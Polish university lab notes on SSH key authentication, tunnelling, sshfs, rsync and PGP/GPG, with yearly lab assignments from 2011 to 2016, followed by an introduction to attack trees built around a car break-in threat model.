Generujmy parę kluczy (programem ssh-keygen), klucz prywatny pozostaje po stronie klienta (w pliku .ssh/id_rsa lub .ssh/id_dsa), a klucz publiczny jest wgrywany na serwer. Klucze publiczne są zapisywane na serwerze jeden po drugim w pliku .ssh/authorized_keys na koncie tego użytkownika, na które chcemy się logować; do dodania klucza na serwer można użyć także narzędzia ssh-copy-id (po stronie klienta).

Standardowo używa się osobnego klucza prywatnego dla każdego komputera (i konta), z którego łączymy się ze światem, oraz wgrywa się odpowiadające klucze publiczne na te serwery i konta, do których chcemy się logować. Klucz prywatny można zabezpieczyć hasłem, co utrudni użycie klucza w przypadku przejęcia pliku z kluczem.

„Losowo” wygenerowany klucz nie jest narażony na ataki słownikowe, a atak siłowy, ze względu na długość klucza, wymaga ogromnych nakładów. Protokół SSH nie przesyła klucza prywatnego nawet w postaci zaszyfrowanej, co zabezpiecza przed atakiem "man in the middle". Wadą tego rodzaju uwierzytelnienia jest konieczność przechowywania plików z kluczami i chronienia plików z kluczami prywatnymi.

Zarządzaniem kluczami podczas jednej sesji lokalnej może zajmować się program ssh-agent, do którego często systemowy interfejs użytkownika (Gnome, KDE itp.) oferuje nakładki graficzne. Można też używać tekstowego polecenia ssh-add, aby na czas sesji zapamiętać otwarty klucz. Uwalnia to użytkownika od konieczności wielokrotnego wpisywania hasła odblokowującego klucz.

KONFIGUROWANIE SERWERA

OpenSSH pozwala dość dokładnie skonfigurować serwer i dostosować go do wymagań bezpieczeństwa, wygody i innych. Możliwe jest m.in. stosowanie ograniczeń na dostępne algorytmy, sposoby uwierzytelnienia, liczbę otwartych sesji itp. w zależności od użytkownika i hosta, z którego się łączy. Można także wymóc stosowanie uwierzytelnienia i limitów opartych o PAM (poprzednie zajęcia). Standardowo konfiguracja serwera zapisywana jest w pliku /etc/ssh/sshd_config.
Szczegóły: man sshd_config.

KONFIGUROWANIE KLIENTA

Większość opcji dla klienta SSH można podać bezpośrednio w wierszu poleceń, ale dla wygody można także zapisać je w pliku konfiguracyjnym, w razie potrzeby uzależniając konfigurację od serwera docelowego. Konfiguracja klienta SSH zapisywana jest w plikach /etc/ssh/ssh_config (domyślna dla systemu) i ~/.ssh/config (dla użytkownika).
Szczegóły: man ssh oraz man ssh_config

BEZPIECZNE PRZESYŁANIE PLIKÓW

Służą do tego protokoły i odpowiadające im aplikacje scp (najprostsza), sftp i rsync (bardziej zaawansowane), wewnętrznie używające protokołu SSH.

Cechą charakterystyczną sftp jest zbiór poleceń analogicznych do poleceń FTP, natomiast cechą charakterystyczną rsync jest różnicowe przesyłanie plików – sprawdzanie (poprzez porównywanie skrótów), które pliki lub bloki większych plików uległy zmianie i przesyłanie tylko tych zmienionych. Oba polecenia pozwalają przesyłać całe drzewa katalogów z możliwością filtrowania po rodzaju pliku, przenoszenia uprawnień itp.

Uwaga: SFTP jest niezależnie zdefiniowanym protokołem (funkcjonalnie wzorowanym na FTP), a nie jest tylko tunelowaniem zwykłego FTP w połączeniu SSH (ani tym bardziej SSL).

Pośrednio z SSH do transferu plików mogą korzystać także cvs, svn czy git.

MONTOWANIE KATALOGÓW

Wszyscy znamy (a przynajmniej powinniśmy) mechanizm NFS do tworzenia sieciowych systemów plików - montowania lokalnie katalogów serwera plików. Zwykły użytkownik może osiągnąć to samo: zamontować sobie katalog z innego komputera. Jedyny warunek: trzeba mieć konto na ,,serwerze''.

Do takiego ad hoc montowania służy program sshfs. Do zamontowania zdalnego
katalogu używamy polecenia

sshfs komputer:katalog punkt-montowania

Punkt montowania to katalog na lokalnym komputerze (najlepiej pusty ;-). Pierwszy argument to katalog na zdalnym komputerze w typowej notacji używanej przez scp itp. Trzeba mieć do niego odpowiednie prawa.

Od tego momentu cała struktura tego katalogu jest widoczna lokalnie. Polecenie akceptuje większość opcji ssh i jescze trochę, szczegóły jak zwykle w man.

Aby odmontować taki katalog piszemy

fusermount -u punkt-montowania

To polecenie zdradza rodzaj użytego ,,oszustwa'': korzystamy z modułu jądra FUSE (Filesystem in USErspace).

TUNELE

Bezpieczne tunelowanie połączeń TCP ogromnie zwiększa gamę zastosowań SSH. Istnieją dwa rodzaje tuneli ze względu na kierunek:

  • lokalne (opcja -L): połączenia do podanego lokalnego portu klienta są przekazywane na serwer SSH i stamtąd łączymy się z docelowym serwerem, np.

    ssh -L 1234:www.w3.org:80 students.mimuw.edu.pl

    spowoduje otwarcie na lokalnej maszynie portu 1234 do nasłuchiwania, a połączenie do tego portu zostanie przekazane (w tunelu) na students i stamtąd otwarte (już bez ochrony) do www.w3.org na port 80.

  • zdalne (opcja -R): połączenia do podanego portu na serwerze SSH są przekazywane na maszynę lokalną i z niej łączymy się z docelowym adresem, np.

    ssh -R 1234:localhost:8080 students.mimuw.edu.pl

    spowoduje, że na students zostanie otwarty do nasłuchiwania port 1234, a połączenia przychodzące do tego portu zostaną (w tunelu) przekazane na lokalną maszynę (z której wywoływaliśmy ssh) i tam (bo napisaliśmy localhost) zostaną skierowane do portu 8080.

    Uwaga: domyślna konfiguracja SSH (także na students) powoduje, że porty otwarte na serwerze nie są widoczne z zewnątrz, a jedynie poprzez lokalny interfejs loopback („localhost”); można to zmienić w konfiguracji serwera za pomocą opcji GatewayPorts.

Można także tworzyć w konfiguracji „urządzenia tunelowe” czy tunelować protokół SOCKS, w co się już nie wgłębiamy.

źródło obrazka: http://jakilinux.org/aplikacje/sztuczki-z-ssh-2-tunele/

PGP i GPG

OpenPGP to otwarty standard IETF oparty o wcześniejszy, obecnie częściowo komercyjny, produkt PGP (Pretty Good Privacy). Standard ten opisuje metody zabezpieczania poczty elektronicznej i plików. Podstawą jest użycie kryptografii klucza publicznego, a gdy przyjrzeć się szczegółom, okaże się, że używana jest także kryptografia klucza sekretnego ("szyfrowanie symetryczne"), bezpieczne funkcje haszujące ("skrót kryptograficzny"), kompresja oraz konwersja radix64.

Dwie najważniejsze funkcje to podpisywanie wiadomości (kluczem prywatnym nadawcy) i szyfrowanie wiadomości (kluczem publicznym odbiorcy). Do weryfikacji podpisu potrzebny jest klucz publiczny nadawcy, a do odszyfrowania wiadomości klucz prywatny odbiorcy. Podpisywanie i szyfrowanie mogą być stosowane niezależnie od siebie.

Przyjrzyjmy się operacjom nieco bardziej szczegółowo.
Podpisywanie polega na:

  • wyliczeniu skrótu z całej wiadomości,
  • zaszyfrowaniu skrótu kluczem prywatnym nadawcy,
  • dołączeniu do wiadomości zaszyfrowanego skrótu.

Szyfrowanie polega na:

  • wygenerowaniu (możliwie) losowego klucza sesji,
  • zaszyfrowaniu ciała wiadomości szyfrem symetrycznym używając klucza sesji; zazwyczaj przed szyfrowaniem wiadomość jest kompresowana, a po szyfrowaniu zamieniana na tekst konwersją radix64,
  • dołączeniu do wiadomości klucza sesji zaszyfrowanego kluczem publicznym odbiorcy; w przypadku wielu odbiorców nie ma potrzeby szyfrowania całej wiadomości osobno dla każdego z nich, osobno szyfrowany (kluczem publicznym każdego odbiorcy) jest jedynie klucz sesji.

Popularną otwartą implementacją standardu jest GnuPG. Pod Linuksem dostępne są polecenia: gpg i gpg2, którymi można wykonywać operacje na plikach (także zapisanych wiadomościach) i zarządzać kluczami.

Sama aplikacja może być także używana do wykonywania na plikach pojedynczych operacji – składników standardu PGP, z czego użyteczne może być np. szyfrowanie plików na dysku czy weryfikacja spójności plików pobranych z sieci (wykorzystywane przez menedżery pakietów rpm i deb).

Aby wygenerować klucz piszemy

gpg --gen-key

Inne popularne polecenia opisano w Ważniaku, a wszystkie w man gpg.

PGP W POCZCIE ELEKTRONICZNEJ

Użycie OpenPGP w poczcie elektronicznej (do czego został stworzony) jest wygodniejsze gdy użyjemy klientów poczty wyposażonych we wsparcie dla tego standardu. Przykładem może być Thunderbird z dodatkiem Enigmail. Pozwala on nie tylko na podpisywanie, weryfikację, szyfrowanie i odszyfrowanie wiadomości, ale także na zarządzanie kluczami PGP/GPG zainstalowanymi na naszym komputerze.

S/MIME

Standardem podobnym w idei i zastosowaniach do PGP jest S/MIME. Szyfrowanie i podpisywanie odbywa się na tej samej zasadzie. Różnica dotyczy zarządzania certyfikatami (wizytówki z kluczami publicznymi, często same podpisane innym kluczem): w S/MIME muszą być uwierzytelnione przez instytucję uwierzytelniającą i tworzą drzewo zaufania w modelu PKI (public key infrastructure), natomiast w PGP można używać certyfikatów wygenerowanych lokalnie, których wartość może być oceniana poprzez tzw. sieć zaufania (Web of Trust).
Schemat PKI zostanie zaprezentowany na przyszłych zajęciach na przykładzie protokołu SSL/TLS.

Zaliczenie 2011

Zainstaluj serwer SSH, np:
su -c "apt-get install -y openssh-server"
Załóż nowego użytkownika (zwanego tutaj U) z katalogiem domowym.

1. Skonfiguruj serwer SSH:
a) ogranicz wersję protokołu do 2,
b) ogranicz dostępne algorytmy szyfrowania i skrótu wedle własnego uznania,
c) zabroń logowania użytkownikom innym niż U lub guest,
d) zezwól U na logowanie jedynie przy pomocy klucza, a guest także za pomocą hasła,

2.Klucze i konfiguracja klienta.
a) Jako U stwórz parę kluczy, klucz prywatny chroniony hasłem.
b) Zainstaluj klucz publiczny na lokalnym komputerze, aby przetestować ustawienie z 1.d).
c) Zainstaluj klucz publiczny na students.
d) Skonfiguruj klienta ssh tak, aby Twój login na students był używany jako domyślna nazwa użytkownika, gdy U łączy się ze students, oraz aby używany był odpowiedni klucz.

3. Tunel
a) Połącz się ze students tak, aby można było uruchamiać zdalnie programy okienkowe (np. kcalc),
b) Utwórz tunel SSH między lokalną maszyną a students tak, aby po wpisaniu w przeglądarkę na lokalnym komputerze http://localhost:7000 wyświetlała się strona www.w3.org,
c) jak jednorazowo dokonać powyższych czynności, a jak skonfigurować je jako domyślne dla połączenia ze students?

4. Kopiowanie
Używając programu rsync lub sftp skopiuj ze students katalog ze scenariuszami labów z BSK (/home/students/inf/PUBLIC/BSK). Dodatkowe wymagania, które prowadzący może postawić podczas prezentacji:
* włączenie / wyłączenie kompresji
* kopiowanie lub nie atrybutów plików
* pominięcie plików określonego typu
(doinstalowanie rsync: su -c "apt-get install -y rsync")

5. PGP
a) Utwórz własny klucz PGP (jeśli już posiadasz dla swojego konta studenckiego nie musisz tworzyć nowego).
b) Wyślij do prowadzącego podpisany PGP email zawierający rozwiązanie: skrypt z poleceniami oraz pliki konfiguracyjne, które zostały utworzone lub zmienione.

Zaliczenie 2012

Zalecana jest praca w parach (partner będzie zwany "sąsiadem"), przy czym od każdej osoby wymagane jest wykonanie wszystkich poleceń z listy.

0. Przygotowanie.
a) Zainstaluj serwer SSH i program rsync lub scp.
Na przykład (jako root):
apt-get update
apt-get install openssh-server rsync

b) załóż konta, hasła i katalogi domowe użytkownikom U1 i U2 (nazwy umowne, można wybrać własne).

useradd -m -s /bin/bash U1
passwd U1
useradd -m -s /bin/bash U2
passwd U2

1. Konfiguracja serwera SSH
a) Ogranicz dostępne algorytmy szyfrowania oraz skrótu; przykładowa lista: blowfish-cbc, aes192-cbc i aes256-cbc oraz hmac-sha1 i hmac-ripemd160.
c) Zezwól na logowanie jedynie użytkownikom U1 i U2.
d) Używając m.in. bloków Match:
- zezwól U1 łączyć się za pomocą hasła jedynie z komputera sąsiada, a z dowolnych komputerów za pomocą klucza publicznego,
- wysyłaj użytkownikowi U1 spersonalizowane powitanie,
- zezwól U2 łączyć się jedynie z sieci lokalnej labu BSK i tylko pomocą klucza publicznego,
- zezwól na korzystanie z tunelowania X11 tylko użytkownikowi U2.

2. Konfiguracja klienta SSH
a) Jako U2 stwórz parę kluczy, klucz prywatny chroniony hasłem.
b) Zainstaluj klucz publiczny na komputerze sąsiada (tymczasowa zmiana konfiguracji serwera jest dopuszczalna).
c) Skonfiguruj klienta ssh dla użytkownika U2 tak, aby łączył się z komputerem sąsiada używając klucza i automatycznie otwierał tunelowanie X11 (przetestuj na prostej aplikacji okienkowej, np. gedit).
d) Skonfiguruj klienta ssh dla użytkownika U1 tak, aby przy połączeniu z komputerem sąsiada otwierał się tunel TCP - taki że po wpisaniu w przeglądarkę na lokalnym komputerze http://localhost:7000 wyświetla się strona www.w3.org,

3. PGP (jedna osoba wykonuje jako U1, druga jako U2, wedle uznania możesz podawać swoje własne lub wymyślone nazwisko i adres e-mail):
a) Utwórz parę kluczy PGP.
b) Skopiuj swój klucz publiczny do sąsiada (oczywiście używając jednego z bezpiecznych poleceń opartych o SSH); zaimportuj klucz otrzymany od sąsiada.
c) Plik z konfiguracją serwera SSH, z dodanym w komentarzu swoim imieniem i nazwiskiem, zaszyfruj kluczem publicznym sąsiada i podpisz swoim kluczem prywatnym.
d) Wymień się zaszyfrowanymi i podpisanymi plikami, a następnie odszyfruj i zweryfikuj podpis otrzymanego pliku.

Zaliczenie 2013

Zalecana jest praca w parach (partner będzie zwany "sąsiadem"), przy czym od każdej osoby wymagane jest wykonanie wszystkich poleceń z listy.
Jeśli ktoś musi pracować samodzielnie, to potrzebuje dwóch komputerów, na jednym konfiguruje stronę serwera, na drugim stronę klienta.

We wszystkich przypadkach przyjmujemy, że użytkownicy używają tej samej nazwy po stronie klienta i na serwerze (nie logują się na cudze konta).

0. Przygotowanie.
a) Zainstaluj serwer SSH i program rsync lub scp. Na przykład (jako root):
apt-get update
apt-get install openssh-server rsync

b) załóż konta, hasła i katalogi domowe użytkownikom u1 i u2.
useradd -m -s /bin/bash u1
passwd u1
useradd -m -s /bin/bash u2
passwd u2
useradd -m -s /bin/bash u3
passwd u3

c) Stwórz grupę ssh_users i dodaj do niej użytkowników u1 i u2 oraz guest.
groupadd ssh_users
usermod -a -G ssh_users u1
usermod -a -G ssh_users u2
usermod -a -G ssh_users guest

1. Konfiguracja serwera SSH
a) Ogranicz dostępne algorytmy szyfrowania oraz skrótu; przykładowa lista: blowfish-cbc, aes192-cbc i aes256-cbc oraz hmac-sha1 i hmac-ripemd160.

b) Zezwól na logowanie tylko użytkownikom należącym do grupy ssh_users.

c) Używając m.in. bloków Match:
- wysyłaj użytkownikowi u1 spersonalizowane powitanie (baner),
- zezwól u1 łączyć się za pomocą hasła jedynie z komputera sąsiada, a z dowolnych komputerów za pomocą klucza publicznego,
- pozostałym członkom grupy ssh_users zezwól logować się tylko pomocą klucza publicznego,
- zezwól (tylko) guest łączącemu się z labu BSK na korzystanie z tunelowania X11.

2. Konfiguracja klienta SSH
a) Skonfiguruj klienta ssh dla użytkownika guest tak, aby automatycznie otwierał tunelowanie X11 (przetestuj na prostej aplikacji okienkowej, np. gedit).

b) Jako u2 stwórz parę kluczy SSH, klucz prywatny chroniony hasłem.

c) Zainstaluj klucz publiczny na komputerze sąsiada (tymczasowa zmiana konfiguracji serwera jest dopuszczalna).

d) Skonfiguruj klienta ssh dla użytkownika u2 tak, aby przy połączeniu z komputerem sąsiada otwierał się tunel TCP - taki że po wpisaniu w przeglądarkę na *zdalnym* komputerze http://localhost:7000 wyświetla się strona www.mimuw.edu.pl

3. PGP (jedna osoba wykonuje jako u1, druga jako u2, wedle uznania można podawać swoje własne lub wymyślone nazwisko i adres e-mail):
a) Utwórz parę kluczy PGP.

b) Skopiuj swój klucz publiczny do sąsiada (oczywiście używając jednego z bezpiecznych poleceń opartych o SSH); zaimportuj klucz otrzymany od sąsiada.

c) Plik z konfiguracją serwera SSH, z dodanym w komentarzu swoim imieniem i nazwiskiem, zaszyfruj kluczem publicznym sąsiada i podpisz swoim kluczem prywatnym. (Podpowiedź: to można zrobić jednym poleceniem gpg)

d) Wymień się zaszyfrowanymi i podpisanymi plikami, a następnie odszyfruj i zweryfikuj podpis otrzymanego pliku.

Zaliczenie 2014

Zalecana jest praca w parach. Jeśli ktoś musi pracować samodzielnie, to potrzebuje dwóch komputerów.
Na jednym komputerze, który oznaczymy A, będziemy konfigurować stronę serwera SSH, a na drugim oznaczonym B stronę klienta. Obie konfiguracje muszą ze sobą współgrać i warto je przygotowywać równolegle, wspólnymi siłami.

Zasadniczo przyjmujemy, że użytkownicy używają tej samej nazwy po stronie klienta i na serwerze.

0. Przygotowanie.

a) Zainstaluj serwer SSH (można pominąć po stronie klienta) i program rsync lub scp. Na przykład (jako root):
apt-get update
apt-get install openssh-server rsync

b) załóż konta, hasła i katalogi domowe użytkownikom u1, u2, u3.
useradd -m -s /bin/bash u1
passwd u1
useradd -m -s /bin/bash u2
passwd u2
useradd -m -s /bin/bash u3
passwd u3

c) Na serwerze (A) stwórz grupę ssh_users i dodaj do niej użytkowników u1 i u2 oraz guest.
groupadd ssh_users
usermod -a -G ssh_users u1
usermod -a -G ssh_users u2
usermod -a -G ssh_users guest

Serwer ssh można zrestartować np. tak:
service ssh restart

ZADANIA:

1. Konfiguracja serwera SSH (na A)

a) Zezwól na logowanie tylko użytkownikom należącym do grupy ssh_users.

Używając m.in. bloków Match:

b) pozwól użytkownikowi guest logować się za pomocą hasła i wysyłaj mu spersonalizowane powitanie ("baner"),

c) zezwól u1 łączyć się za pomocą hasła jedynie z komputera B, a z dowolnych komputerów za pomocą klucza publicznego,

d) pozostałym zezwól na logowanie tylko za pomocą klucza publicznego.

2. Konfiguracja klienta SSH (na B)

a) Skonfiguruj (w pliku) klienta ssh dla użytkownika guest tak, aby po wpisaniu polecenia
ssh alicja
klient łączył się z serwerem A, wchodził na konto guest (uwierzytelnienie może odbywać się za pomocą hasła) i automatycznie otwierał tunelowanie X11 (przetestuj na prostej aplikacji okienkowej, np. gedit) oraz włączał kompresję.
(zamiast "alicja" możesz użyć innego imienia lub słowa)

b) Jako u2 stwórz parę kluczy SSH. Zainstaluj klucz publiczny na komputerze A. Sprawdź działanie po zakończeniu konfiguracji serwera.

3. Tunel.
a) Na komputerze B wyedytuj zawartość pliku /var/www/index.html tak, aby było wiadomo, z którego komputera pochodzi wyświetlana strona. Sprawdź poprzez http://localhost.

b) Łącząc się ssh z B do A jako u2 otwórz odpowiedni tunel SSH, który sprawi, że po wpisaniu w przeglądarkę na komputerze A http://localhost:7000 wyświetli się strona serwowana przez B.

c) Spraw, aby ta strona wyświetliła się również, gdy z innego komputera (np. B, ale teoretycznie także z każdego innego w labie) wejdzie się pod adres http://solabXX:7000, gdzie XX to numer komputera A.

4. Podstawy PGP/gpg. Wszystkie polecenia wykonują obie osoby, wedle uznania można podawać swoje własne lub wymyślone nazwisko i adres e-mail:
a) Utwórz klucz (a właściwie parę publiczny/prywatny).

b) Skopiuj swój klucz publiczny do sąsiada (oczywiście używając jednego z bezpiecznych poleceń opartych o SSH); zaimportuj klucz otrzymany od sąsiada.

c) Plik z konfiguracją SSH (klienta lub serwera), z dodanym w komentarzu swoim imieniem i nazwiskiem, zaszyfruj (kluczem publicznym sąsiada) i podpisz (swoim kluczem prywatnym). Podpowiedź: to można zrobić jednym poleceniem gpg.

d) Wymień się zaszyfrowanymi i podpisanymi plikami, a następnie odszyfruj i zweryfikuj podpis otrzymanego pliku.

Zaliczenie 2015

Zalecana jest (współ)praca w parach, najlepiej na sąsiednich komputerach.
Indywidualiści będą potrzebować dwóch komputerów.

Zainstaluj serwer SSH (każdy na swoim komputerze) i program rsync, na
przykład:

sudo apt-get update
sudo apt-get install openssh-server rsync

Załóż konta, hasła i katalogi domowe użytkownikom U1 i U2, np.
useradd -m -s /bin/bash U1
passwd U1
...

Serwer ssh można zrestartować np. tak:
service ssh restart

ZADANIA:

1. Skonfiguruj serwer SSH:

a) Ogranicz wersję protokołu do 2.
b) Ogranicz dostępne algorytmy szyfrowania i skrótu wedle własnego uznania.
c) Zezwól U1 na logowanie jedynie przy pomocy klucza, a U2 przy pomocy hasła.

2. Klucze i konfiguracja klienta.

a) Jako U1 stwórz parę kluczy, klucz prywatny chroniony hasłem. Umieść klucz
publiczny na drugim komputerze.
b) Zainstaluj klucz publiczny również na students.
c) Skonfiguruj klienta ssh tak, aby Twój login na students był używany jako
domyślna nazwa użytkownika, gdy U1 łączy się ze students, oraz aby używany
był odpowiedni klucz.

3. Kopiowanie

a) Używając programu rsync skopiuj (jako U1) ze students katalog
/home/staff/iinf/zbyszek/Obrazy.
b) Dodatkowo prowadzący może poprosić Cię o włączenie/wyłączenie kompresji.

4. PGP

a) Utwórz własną parę kluczy PGP.
b) Wyślij prowadzącemu klucz publiczny do zaimportowania.
c) Plik z konfiguracją SSH (klienta lub serwera), z dodanym w komentarzu
swoim imieniem, nazwiskiem i loginem,
podpisz (kluczem prywatnym) i wyślij do prowadzącego emalią.

Zaliczenie 2016

Zadanie zaliczeniowe 2016/17 - moduły 5 i 6

Wszystkie wydawane polecenia należy zapisać w skryptach wykonywalnych, będą one częścią rozwiązania. Sprawdzający będzie jednak wymagał osobistej prezentacji rozwiązania.

Jeśli trzeba zainstaluj serwer SSH, rsync i sshfs, na przykład:

sudo apt-get update
sudo apt-get install openssh-server rsync sshfs

Załóż konto, hasło i katalog domowy użytkownikowi U.

Serwer ssh można zrestartować np. tak:

service ssh restart

ZADANIA

Uwaga: U oznacza nazwę generyczną, ponieważ do rozwiązania każdemu potrzebne
będą dwie maszyny, z których jedna będzie używana jako serwer SSH (nazwiemy ją S), a druga jako klient SSH (nazwiemy ją K). Serwer na danym komputerze może konfigurować jedna osoba, natomiast z jednej maszyny jako klienta może korzystać wiele osób, o ile użyją różnych kont. Proponuję komputer lokalny potraktować jako S, a jakiś inny w labie traktować jako K oraz wymyślić unikalną nazwę użytkownika.

  1. Klucze i konfiguracja klienta.

    a) Stwórz guestowi parę kluczy SSH, klucz prywatny chroniony hasłem. Umieść klucz publiczny na komputerze students.
    b) Użytkownikowi U na maszynie K utwórz parę kluczy SSH i wykonaj czynności umożliwiające U logowanie się z kluczem z K na S.
    c) Skonfiguruj klienta ssh tak, aby Twój login na students był używany jako domyślna nazwa użytkownika, gdy guest łączy się ze students, oraz aby używany był odpowiedni klucz.

  2. Skonfiguruj serwer SSH:

    a) Ogranicz wersję protokołu do 2.
    b) Zabroń zdalnego logowania przez roota.
    c) Zezwól U na zdalne logowanie jedynie przy pomocy klucza, a guest także przy pomocy hasła.

  3. Kopiowanie i montowanie

    a) Ustaw w ten sposób montowanie, żebyś mógł obejrzeć w przeglądarce odpalonej na komputerze w labie BSK dowolny plik z katalogu /home/students/inf/PUBLIC/BSK/Obrazy z maszyny students (oczywiście tylko taki, do którego masz uprawnienia).
    b) Używając programu rsync skopiuj (jako guest) ze students katalog
    /home/students/inf/PUBLIC/BSK.
    c) Dodatkowo prowadzący może poprosić Cię o włączenie/wyłączenie kompresji oraz o pominięcie plików określonego typu.

  4. PGP

    a) Utwórz własną parę kluczy PGP.
    b) Wyślij prowadzącemu klucz publiczny do zaimportowania.
    c) Pliki skryptów z poleceniami, z dodanym w komentarzu swoim imieniem, nazwiskiem i loginem, podpisz (kluczem prywatnym) i wyślij do prowadzącego emalią.

Laboratorium 7 i 8: drzewa ataków

Zabezpieczanie systemów (nie tylko) komputerowych jest bardzo skomplikowane już choćby przez to, że dotyczy przedmiotu o bardzo wielu własnościach i cechach. W zasadzie - jeśli nie niemożliwe - to w każdym razie jest to zadanie, którego wykonanie nie jest osiągalne przy dostępnych typowo zasobach. Jednak zawsze można być bliżej lub dalej od ideału, stąd ważne są techniki, które przybliżają nas do jego osiągnięcia.

Typowo, gdy zadanie jest zbyt skomplikowane, aby je rozwiązać bezpośrednio, stosuje się jakiś rodzaj formy, która pomaga w zarządzaniu jego złożonością. Wtedy jeśli nie jest możliwe ogarnięcie całości problemu, to dysponujemy dokumentacją tego, którą część problemu mamy opanowaną i obsłużoną. W bezpieczeństwie systemów przyjętym sposobem na zarządzanie zagrożeniami są drzewa ataków (zwane też drzewami zagrożeń). Łatwo skojarzyć, że stanowią one praktyczne zastosowanie zasady "dziel i rządź" (z.t.j. "dziel i zwyciężaj").

Konstruowanie dobrych drzew ataków jest działaniem wielowątkowym i wymaga wielokrotnego przejrzenia do tej pory opracowanego drzewa. Każde jednak przejście, aby miało walor podejścia systematycznego, wymaga jasno określonego celu. Taki cel też jest potrzebny na pierwszym etapie, kiedy tworzymy pierwotną wersję systemu. Typowo pierwszym celem jest określenie najsłabszego ogniwa w naszym systemie zabezpieczeń - jeśli nasz system jest używany przez dużą liczbę osób, to prędzej czy później masa tej populacji wykryje to słabe ogniwo. Dlatego często możemy się spotkać z pewnym upraszczającym sloganem: System jest tak bezpieczny jak najsłabsze ogniwo jego zabezpieczeń. Wzmacniając najsłabsze ogniwo w najbardziej racjonalny sposób wzmacniamy bezpieczeństwo całego rozwiązania. W pierwszym podejściu będziemy zatem poszukiwali najsłabszego ogniwa.

Spróbujmy skonstruować drzewo ataku dla nieuprawnionego dostania się do samochodu. Pierwszy krok, jaki należy wykonać, to stworzyć sobie ogólny model zagrożenia. Musimy tutaj odpowiedzieć sobie na następujące pytania:

  1. Jakie wartości chcemy chronić przed naszym atakiem?
  2. Co tym wartościom zagraża:
    1. jakiego rodzaju niebezpieczeństwa?
    2. jakiego rodzaju atakujący?

Warto zwrócić uwagę na rozróżnienie między niebezpieczeństwami pojmowanymi tutaj jako obiektywne zagrożenia dla bezpieczeństwa wyróżnionych wartości, które są niezależne od woli i nastawienia ludzi na wyrządzenie szkody chronionym wartościom, od ataków, które zakładają ludzką wolę i pewną umyślność w niszczeniu chronionych wartości. Ta druga kategoria przy bezpośrednim rozumieniu określenia "niebezpieczeństwa" może być postrzegana jako szczególny przypadek kategorii 2.a, ale podkreślmy to jeszcze raz: dla nas 2.a oznacza brak umyślnego działania, zaś 2.b oznacza jego obecność.

Jak zatem będą te punkty wyglądały dla nieuprawnionego dostania się do samochodu?

Chronione wartości:

  • zewnętrzna struktura samochodu (karoseria, szyby, opony itp.),
  • wnętrze samochodu na stałe przytwierdzone do jego struktury (tapicerka, kokpit, kierownica, podłogi, radio itp.),
  • przedmioty ruchome w środku samochodu (zawartość schowków, dywaniki, foteliki dla dzieci itp.),
  • samochód jako funkcjonalna całość (możliwość korzystania z niego do dojazdów, możliwość ogrzania się itp).

Zagrożenia:

  1. Niebezpieczeństwa
    1. zniszczenie w wyniku katastrofy naturalnej (upadek gałęzi drzewa, upadek elementu budowli, upadek skały, zalanie lawą itp.)
    2. zniszczenie w wyniku wypadku (najechanie przez inny pojazd, zrzucenie przedmiotu z wysokości na samochód itp.)
  2. Atakujący
    1. dysponują powszechnie dostępnymi metodami i sprzętem (np. śrubokręty, młotki, cegły, kamienie itp.),
    2. dysponują specjalistycznym sprzętem i odpowiednim przeszkoleniem do jego używania, które wymagają znaczących inwestycji, ale są dostępne na rynku (np. sprzęt ślusarski, oprogramowanie komputera samochodowego, znajomością budowy samochodu itp.),
    3. dysponują specjalistycznym sprzętem i odpowiednim przeszkoleniem, które wymagają znaczących inwestycji, ale nie są dostępne na rynku i wymagają wypracowania tego sprzętu i umiejętności przez samych atakujących (np. skanery nadajników GPS, skanery pluskiew podsłuchowych, skanery elektroniki itp.).

We wszystkich tych kategoriach atakujących możemy założyć, że wykonali oni lub nie wykonali pracy operacyjnej, polegającej na obserwacji właściciela pojazdu przez pewien czas. Możemy też założyć, że atakujący mają odpowiednie doświadczenie we wdzieraniu się do samochodów albo też go nie mają. Kolejna własność, jaka może się tutaj pojawiać, to czas dostępny na dostanie się do środka - w każdej z tych kategorii włamywacz może mieć dużo czasu na samą czynność lub też mieć tego czasu niewiele i operować pod presją.

Zauważmy, że własności podane pod punktami powyżej mogą zostać zaaplikowane do każdego z punktów 2.a, 2.b, 2.c, tworząc szeroką paletę modeli atakującego.

Następny krok to konstrukcja samego drzewa. Warto zauważyć, że namysł nad chronionymi wartościami pozwala nam zauważyć, iż w istocie należałoby skonstruować kilka drzew ataków (być może dosyć podobnych do siebie), aby uzyskać klarowniejszą analizę zagrożeń i lepsze rozeznanie w tym, jakie środki służą zabezpieczaniu których wartości. Tutaj, z braku zasobów, skupimy się na analizie zagregowanej wartości związanej z samochodem.

Korzeniem drzewa ataku, które chcemy przedstawić, będzie zatem cel polegający na zdegradowaniu wartości samochodu dla właściciela. Zdegradowanie wartości samochodu może się odbyć na kilka sposobów:

  • upadek konaru drzewa na samochód,
  • otarcie się o samochód innego samochodu na parkingu,
  • zarysowanie karoserii ostrym przedmiotem,
  • zdegradowanie wartości przez dostanie się do wnętrza przez wrogiej osoby.

W tym momencie każdy z tak wyodrębnionych sposobów degradowania wartości staje się częściową przyczyną i trafia do wierzchołka drzewa będącego dzieckiem korzenia. Z kolei dzieci każdego z tych nowych wierzchołków będą opisywały sposoby osiągnięcia odpowiedniego celu częściowego. Możemy teraz zapisać większy fragment takiego drzewa.

. (OR) Zdegradowanie wartości udostępnianych przez samochód 

1. (OR) upadek konaru drzewa na samochód
  1.1. (OR) ustawienie samochodu pod drzewem, z którego opadnie konar
    1.1.1. (OR) opadnięcie w wyniku wichury
    1.1.2. (OR) opadnięcie konaru osłabionego w wyniku choroby
2. (OR) otarcie się o samochód innego samochodu na parkingu
3. (OR) zarysowanie karoserii ostrym przedmiotem,
  3.1. (OR) zarysowanie przez osobę przypadkowo przechodzącą z ostrym
    przedmiotem obok
  3.2. (OR) zarysowanie celowo przez jakąś osobę
4. (OR) zdegradowanie wartości przez dostanie się do wnętrza przez
   wrogą osobę
  4.2. (OR) dostanie się do wnętrza przez wybicie szyby
  4.3. (OR) dostanie się do wnętrza przez sforsowanie zamka
     4.3.1. (OR) sforsowanie zamka za pomocą wytrychu
     4.3.2. (OR) sforsowanie zamka za pomocą podrobionego kluczyka
     4.3.3. (OR) sforsowanie zamka za pomocą oryginalnego kluczyka
       4.3.3.1. (OR) zdobycie kluczyka za pomocą szantażu
       4.3.3.2. (OR) zdobycie kluczyka za pomocą przekupstwa
       4.3.3.3. (AND) zdobycie kluczyka przez kradzież
         4.3.3.3.1. (OR) znalezienie się w pobliżu właściciela
         4.3.3.3.2. (OR) zaobserwowanie, gdzie trzyma kluczyk
         4.3.3.3.3. (OR) podebranie kluczyka z zaobserwowanego miejsca

